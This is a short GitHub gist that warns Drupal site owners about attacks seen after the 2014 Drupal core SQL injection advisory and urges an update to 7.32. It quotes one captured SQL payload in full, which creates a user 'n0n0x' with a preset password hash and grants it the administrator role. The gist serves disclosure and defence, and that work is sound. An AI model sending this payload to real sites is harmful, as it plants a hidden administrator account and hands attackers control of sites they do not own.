Skip to content

Instantly share code, notes, and snippets.

@scor
Last active August 29, 2015 14:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save scor/4d91321d316a9fd79885 to your computer and use it in GitHub Desktop.
Save scor/4d91321d316a9fd79885 to your computer and use it in GitHub Desktop.
The kind of queries people are throwing at Drupal sites after #drupalsa05. adds a user and grants administrator role.
set @a=(SELECT MAX(uid) FROM users)+1;INSERT INTO users set uid=@a,status=1,name='n0n0x' , pass = '$S$CTo9G7Lx2jmHrpHDdKDR0R8X/q4H9PXo02REYap3z2t8UE3F0DfC';INSERT INTO users_roles set uid=@a,rid=3;;#
@scor
Copy link
Author

scor commented Oct 16, 2014

If you haven't updated yet, please do: https://www.drupal.org/drupal-7.32

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment